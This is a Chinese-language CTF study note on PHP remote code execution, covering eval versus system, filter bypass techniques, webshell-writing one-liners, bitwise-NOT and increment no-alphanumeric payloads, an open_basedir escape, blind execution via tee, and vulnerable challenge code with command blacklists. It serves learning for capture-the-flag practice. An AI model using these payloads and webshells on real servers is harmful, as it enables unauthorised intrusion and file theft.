eval()函数

首先它是一个命令执行函数,只能执行php代码.而非执行系统命令!并且执行合法的php代码时以;结尾

1
2
3
<?php
$a='phpinfo();';//相当于传参a=phpinfo();
eval($a);

system()是php里执行系统命令的函数.反引号 `ls`相当于system(‘ls’);

当没有回显且system函数被ban且`明显可以使用时;

可以利用eval->var_dump_(`cat XX`) ps:这里的var_dump可以替换成print_r这些php打印变量的函数.

一、绕过

空格绕过

1
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS

关键字过滤,黑名单绕过(比如flag字符)

如果没过滤\的话但是又过滤了一些其他的关键字造成无法读取文件

可以利用f\lag拼接出关键字

例题:MoeCTF 2021]babyRCE | NSSCTF

    1. a=fl;b=ag;cat $a$$b$
    1. .连接,(sy.(st).em)
    1. 使用内敛执行代替system

      echo`ls`

      echo $(ls);

      ?><?=ls;

      ?><?=$(ls);

      # 以上语句皆等效于

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.base64编码绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
这边我是有点存疑的,我自己实验后是会报错的
echo 'Y2F0wqAK' | base64 -d 文件的名字
上面echo输出到d的地方会被命令行解析为cat,整个句子就可以变为cat 某个文件的文件名
从而达到绕过来查看内容的目的
但我却在kali里出现了如下错误提示

2.Hex
echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

3.oct
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

利用单双引号绕过关键字过滤

ca‘‘t flag 或ca""t flag这里是两个单引号和两个双引号

二、代码执行

本来eval()的括号里面如果是$_REQUEST[a],那就是代码执行

但是如果是echo $_REQUEST[a] 那就是命令执行

linux 查看文件命令:

cat、tac、more、less、head、tail、nl、sed、sort、uniq

1
2
3
4
5
举例
cat `ls` (该目录下存在index.php和flag.php,也就是此命令会扫描当前目录然后读取所有文件)
等效于
cat flag.php;cat index.php

通过命令行写入webshell

linux:

1
echo<?php eval(@\$_POST['pass']);?>” > shell.php;

十六进制写法

1
2
echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php

windows:

1
echo ^<?php eval($_POST[pass]); ?^> > shell.php”

无字符RCE

题目:[ISITDTU 2019]EasyPHP

  1. 取反绕过

    脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    //在命令行中运行

    /*author yu22x*/

    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

    //(~%8F%97%8F%96%91%99%90)();->phpinfo()

    注意:那么疑问来了,为什么不能直接执行 phpinfo()呢?

    • (~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~
    • 但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()
    • 对于已知过滤条件,想要执行我们指定的代码,必须有 (func_name)()这样的形式.也即(phpinfo)();

    如何连接后门:

    若构造:

    1
    2
    3
    ?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
    # %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
    //与上面是同理的 取反后$_POST[shell]只是简单的字符串,并不能起什么作用

    (func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:

    同样也是执行失败

    1. 第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2); 先会执行取反函数,得到 ("assert")("$_POST[shell]")
    2. 第二层assert:注意第二个括号里其实还是字符串,并不是真正的 $_POST[shell] 代码。PHP在解释的时候会找到名为assert的函数,assert会把 $_POST[shell] 变成真正的PHP代码。也就是说现在可以传参过来了,但是却没有执行。

    那么要想要执行 $_POST[shell],还要在在前面追加一个 eval

    1
    2
    3
    4
    ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
    # %9E%8C%8C%9A%8D%8B : assert
    # %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6 : eval($_POST[shell])

    执行过程:

    1. 第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6); 先会执行取反函数,得到 ("assert")("eval($_POST[shell])")
    2. 第二层assert:将字符串 "eval($_POST[shell])" 看作php代码执行
    3. 第三层eval:将 $_POST[shell] 传来的数据看作代码执行

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>

题目中已有eval().正常执行我们需要传入system(‘ls’)这种命令即可.(本题是system(‘cat /f*’))

利用url编码脚本.传入以下值:

无回显RCE

有时候碰到一些命令函数,比如exec执行是没有回显的,就可以采用使用重定向输出到文件,再查看文件内容的办法

1
2
url=l\s / | tee 1.txt
再访问1.txt

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

此题可以利用Payload:url=tac /f\lllll\aaaaaaggggggg | tee 3.txt再访问3.txt即可

或者单引号绕过cat也行:?url=ca''t /f\lllll\aaaaaaggggggg | tee 4.txt

回溯绕过正则

NISACTF 2022]middlerce-CSDN博客

⽆字⺟数字shell

  1. 自增绕过

    payload

    1
    2
    3
    4
    5
    6
    %24%5f%3d%5b%5d%3b%24%5f%3d%40%22%24%5f%22%3b%24%5f%3d%24%5f%5b%27%21%27%3d%3d%27%40%27%5d%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b


    2.POST传入:_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

    3.访问1.php
  2. 异或绕过

待补充~

无参数RCE绕过的详细总结(六种方法)

特征:

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
eval($_GET['star']);
}

分析:

正则表达式 [^\W]+\((?R)?\) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

题目:HNCTF 2022 WEEK2]Canyource | NSSCTF